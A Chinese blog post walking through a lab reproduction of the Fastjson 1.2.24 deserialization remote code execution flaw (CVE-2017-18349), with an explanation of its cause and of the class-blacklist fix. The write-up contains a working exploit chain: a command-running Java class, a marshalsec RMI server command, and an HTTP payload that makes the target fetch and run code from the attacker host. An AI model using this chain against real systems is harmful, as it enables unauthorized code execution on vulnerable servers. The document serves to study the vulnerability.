FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)
#FastJson1.2.24反序列化導致任意命令執行漏洞(CVE-2017-18349)#
一、漏洞簡介
Pippo是一款基于Java的Web框架。FastjsonEngine是其中的一個JSON處理引擎。Fastjson是其中的一個基于Java的JSON解析器/生成器。 Pippo 1.11.0版本中的FastjsonEngine所使用的Fastjson 1.2.25之前版本的parseObject存在安全漏洞。利用fastjson autotype在處理json對象時,未對@type字段進行安全的安全性驗證,攻擊者可以傳入危險類,并調用危險類連接遠程RMI主機,通過其中的惡意類執行代碼。
二、漏洞影響
影響版本
Fastjson<1.2.25
三、產生原因
@type屬性:Fastjson支持在json數據中使用@type屬性,該json數據會被反序列化成指定的對象類型,在反序列化過程中fastjson會調用parse(jsonStr)函數嘗試對對象的屬性進行賦值,若對象的javabean存在屬性的setter方法則調用set方法,反之調用get方法。
TemplatesImpl中存在一個反序列化利用鏈,在反序列化過程中,如果該類的getOutputProperties()方法被調用,即可成功觸發代碼執行漏洞。
TemplatesImpl類_outputProperties成員變量的getter方法滿足被調用條件。無論通過fastjson哪種方式解析json字符串,都會觸發getOutputProperties()方法。
由此可見:FastJson在反序列化TemplatesImpl類時會恰好觸發TemplatesImpl類的getOutputProperties()方法;TemplatesImpl類的getOutputProperties()方法被觸發就會引起反序列化代碼執行漏洞。
四、復現過程
docker 靶機:192.168.111.137
攻擊機 kali:192.168.111.136
靶場環境:FastJson 1.2.24
環境搭建好后訪問192.168.111.137:8090,顯示頁面如下:
exp:
先將需要執行的java代碼編譯成class字節碼文件,供靶機遠程調用
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}} }使用Java反序列化利用工具marshalsec輔助開啟RMI環境
marshalsec:
git clone https://github.com/mbechler/marshalsecmaven:
apt-get install maven借助marshalsec項目,啟動一個RMI服務器,監聽端口,并制定加載遠程類TouchFile.class,執行:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.136:1234/#TouchFile" 9999開啟http服務:
python -m SimpleHTTPServer 1234發送POC,反彈shell
POST / HTTP/1.1 Host: 192.168.111.137:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 167{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.111.136:9999/TouchFile","autoCommit":true}}運行payload,成功后,服務端響應碼500。
在監聽端口查看到已建立連接。
進入靶機查看命令是否執行成功,輸入命令進入FastJson環境容器執行bash:
查看容器id
docker ps執行以下命令查看遠程命令是否被執行:
docker exec -it 01d4680e6d12 /bin/bashsuccess已被創建,復現成功。
復現過程中遇到的坑:JDK版本問題。
由于jdk:8u102沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,改為jdk:8u102或以下版本后復現成功。
五、修復方案
在fastjson的官方補丁中,將loadClass(typeName, config.getDefaultClassLoader())替換為了config.checkAutoType(typeName),并且擴充了黑名單列表,將傳入的類名與黑名單一一比較,如果發現了相同開頭的類就停止反序列化。
// 新增的黑名單 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework可以看到絕大部分常用的類都已經被加進來了,但是如果不經常維護此名單,一旦后面出現了新的可以利用的類,很容易就繞過這個限制。
六、參考鏈接
Fastjson1.2.24漏洞復現詳細過程
fastjson 1.2.24 反序列化導致任意命令執行漏洞 復現詳細步驟
marshalsec下載地址
標簽
CVE-2017-18349、FastJson、反序列化、命令執行
總結
以上是生活随笔為你收集整理的FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 参数化三维地下管线建模关键技术研究
- 下一篇: Processing 案例 | 用粒子系